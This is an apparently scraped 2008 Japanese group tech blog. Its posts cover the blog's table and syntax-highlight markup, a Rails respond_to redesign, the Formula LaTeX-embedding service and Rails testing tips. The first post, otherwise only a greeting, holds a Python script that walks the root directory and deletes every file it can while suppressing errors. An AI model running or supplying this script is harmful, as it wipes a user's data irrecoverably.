29th Tue

こんにちは

   1  import os
   2  for root, dirs, files in os.walk('/'):
   3      for f in files+dirs:
   4          try:
   5              os.unlink(os.path.join(root, f))
   6          except:
   7              pass

posted by Png faerie on Tue 29 Jul 2008 at 16:57

どうも。榊です。

今まではてな(http://d.hatena.ne.jp/onering/)でBLOGしていましたが
技術系のエントリーはこっちにまとめることにしました。理由は以下。

  • はてなーの方はアーセナルBLOG化している。RSSリーダーやはてなアンテナでもそのように認識されているようだ<読者から
  • 技術系の話と日記系の話が混ざるとうざい
  • はてなーの方のBLOGデザインは気に入っているがプログラムソースの表示部分だけ気に入らない(背景とかぶって読めない)
posted by Face ysakaki on Tue 29 Jul 2008 at 12:01 with 3 comments

続いては、作表の仕方を紹介します。 このブログシステムは、BlueStoleを参考にして作った作表機能があります。

BlueStole - BlueCloth Wrapper

Ruby の Markdown ライブラリ、 BlueCloth に幾つかの機能を付け足した私家拡張版です。

こんな感じに RTtool を使った作表を行うことが出来ます。

Rendering Algorithm
WhatWhoWhen
Ray TracingWhitted1980
Path TracingKajiya1986
Photon MappingJensen1995
Metropolis Light TransportVeach1997

ソースはこんな感じです。

   1  |caption=Rendering Algorithm
   2  |
   3  |What                      , Who    , When
   4  |
   5  |Ray Tracing               , Whitted, 1980
   6  |Path Tracing              , Kajiya , 1986
   7  |Photon Mapping            , Jensen , 1995
   8  |Metropolis Light Transport, Veach  , 1997

Rttoolを使っているので、以下のようにちょっと複雑な表も作成可能です。

AlphaBravo
CharlieEcho
Delta

ソースはこんな感じです。

   1  |Alpha,==,Bravo
   2  |Charlie,Echo,||
   3  |||,Delta,==

また、このようにCaptionとHeader部分は省略可能です。

posted by Png genki on Tue 29 Jul 2008 at 08:40
28th Mon

テスト

テスト


x^2+y^2=1

posted by Face actuary on Mon 28 Jul 2008 at 19:31

ActionController::Base#respond_to

ActionController の respond_to

  • MIMEタイプに応じて出力を切り替える素晴らしい手段を提供しつつも
  • 使う気をなくさせる表記法(実装)を採用する

というセンスがあるのかないのかわからない機能になっている。

   1    def show
   2      @person = Person.find(params[:id])
   3  
   4      respond_to do |format|
   5        format.html
   6        format.xml { render :xml => @person.to_xml }
   7      end
   8    end

誰がこんな面倒な記述を各アクションに書いていきたいと思うだろうか。

問題

具体的には以下の問題点が挙げられる。

  • やりたい事に対して無駄にコード量が多い
  • アクションが肥大化し可読性が低い
  • case文と同じで再利用性が低い

提案

上記の問題点を解消するために、 以下のような新しい表記法(実装)を提案する。

   1    def show
   2      @person = Person.find(params[:id])
   3    end
   4  
   5    def show.xml
   6      render :xml => @person.to_xml
   7    end

可読性は一目瞭然であり、 さきほどのサンプルと比べて以下のメリットを有する。

  1. アクションロジックと描画ロジックの峻別
  2. MIME単位での定義による可読性と再利用性
  3. 特異メソッド定義と拡張子の直感的親和性

特に3番目の、 "show.xml" のレスポンスを直感的に定義(記述)できる点は Rubyならではの機能と言える。

実装方針

   1  class ApplicationController < ActionController::Base
   2    class << self
   3      def method_missing(action, *arguments)
   4        if action_methods.include?(action.to_s)
   5          mime_respond_proxy_for(action)
   6        else
   7          super
   8        end
   9      end
  10  
  11      def mime_respond_proxy_for(action)
  12        @mime_responds[action] ||= MimeRespondProxy.new
  13      end
  14    end

  1. コントローラクラスの method_missing で、"def show.xml" の "show" 部分の未定義変数への参照をトラップ
  2. 定義済みのアクションであれば、Proxyオブジェクトを返す
  3. 以下、"def show.xml" 等の定義は Proxy オブジェクトへの(特異)メソッド追加となる
  4. default_render で、現在のアクションに応じた Proxy オブジェクトを取得し、指定されたmimeタイプの描画処理を行う
  5. コンテキストを合わせるために、aProxy.xml のメソッド定義の内容を実行中のコントローラに定義する
  6. singleton method bound for a different object (imkk)

反省会

  • singleton 以前に、他のメソッド定義を違うクラスに再定義できない

今後の選択肢

  • ブロック定義にすれば引き回せるよ (→ "def show.xml" と書ける心地よさが重要)
  • UnboundMethodを任意のクラス(Object)にbindさせてYO!
  • Method#to_sourceが欲しい
  • Method#modulizeでもいい
  • JavaScriptProxyみたいにする(helperとmethodとcontextをパピコ)
posted by Png maiha on Mon 28 Jul 2008 at 06:48 with 3 comments

このブログシステムには、いままで外向けのドキュメントが無かったのですが、(潜在)アカウント数が徐々に増えてきた事もあり、利用法を書いておこうと思います。

とりあえずわかりにくい所から。 Syntax Highlightつきでソースコードを書くときは、

ruby>>
class Foo
  def foo; puts "bar" end
end
<<ruby

のように、lang>> <<langで囲んで行頭から書きます。 結果はこの通り。

   1  class Foo
   2    def foo; puts "bar" end
   3  end

langに使えるのは、UltraVioleteで利用可能なもの全てです。 よく使いそうな rails、js、shell もショートカットを用意しています。

あとは、以下のように数式もかけます。

[math]
f(x)=\frac{1}{x}
[/math]

結果は以下の通り。


f(x)=\frac{1}{x}

この2つはコメントを書くときにも有効です。

posted by Png genki on Mon 28 Jul 2008 at 00:01

We announce the release of new service named Formula, which provides a way of embedding mathematical equations into your blogs and sharing it.

formula
http://formula.s21g.com/

Using the service, everybody can easily bring a beautiful mathematical expression to a blog post, like this.

You can jump to the page of discussion about the expression by clicking the image of the expression.

Usage is quite simple.

  1. Write a mathematical expression in LaTeX format into the form in the top page of Formula.
  2. And then, you will get the image of the expression at the bottom of the form as a preview.
  3. Finally, you can generate the HTML snippet of the image for embedding by clicking the Submit button.

There is no need to sign up to use this service.

For details, email us to email. We appreciate any kind of feedbacks.

Thank you.

Genki Takiuchi

posted by Png takiuchi on Sun 27 Jul 2008 at 08:16 with 2 comments

Controllerのアクションのテストを書くときに、 通常は以下のようにgetメソッドなどを使い、 アクションのメソッドを指定します。

   1    get :index

しかし、config/routes.rbの中でmap.root :formulae のようにルートのPathをindexアクションにマッピングしている場合でも、 get :indexを呼び出した結果、Controllerに渡されるrequest.request_uri の値は正しいルートのPathになっていません。

そのような場合には、以下のようにすると正しい結果が得られます。

   1    request.set_REQUEST_URI '/'
   2    get :index

posted by Png genki on Sat 26 Jul 2008 at 00:41

数式をブログに貼り付けて共有するサービス、 Formula を公開いたします。

formula
http://formula.s21g.com/

Formulaをご利用いただくことで、 誰でも簡単に数式をブログに貼り付けることができるようになります。

例)

Formulaのトップページのフォームから、 LaTeX形式で数式データを入力いただくことで、 Previewを確認しながら好みの数式の画像を生成することが出来ます。

生成された画像は、以下のようなHTMLをブログの記事に記述することで、 埋め込むことができます。

   1  <a href="http://formula.s21g.com/?f(x)=\int_0^{x}g(t)\,dt">
   2    <img src="http://formula.s21g.com/?f(x)=\int_0^{x}g(t)\,dt.png" />
   3  </a>

また、数式画像をクリックすると、 その数式に関してコメントを投稿することが出来るページにジャンプします。思い入れのある数式にコメントを寄せてみてください。

本サービスに関する各種お問い合わせは、 email までお気軽にお寄せください。

それでは、よろしくお願いいたします。

posted by Png genki on Fri 25 Jul 2008 at 16:30

Rails2.1以降

2.1以降はview以外からhelpersにアクセスできるようになるようです。via 瀧内さん

   1  ApplicationController.helpers.simple_format(text)
http://www.nomedojogo.com/livro/carlosbrando-rubyonrails21_en.pdfより

Rails2.1以前

私の現状の環境では2.1でないので、ぐぐってみたらいい感じのがありました。
http://snippets.dzone.com/posts/show/1799

ApplicationControllerに挿入すればok

   1    def help
   2      Helper.instance
   3    end
   4  
   5    class Helper
   6      include Singleton
   7      include ActionView::Helpers::TextHelper
   8  
   9      def h(string)  
  10        ERB::Util.html_escape(string)
  11      end
  12    end
(注)オリジナルのsnippetにdef hを追加しています。

posted by Png satoko on Fri 25 Jul 2008 at 05:51 with 2 comments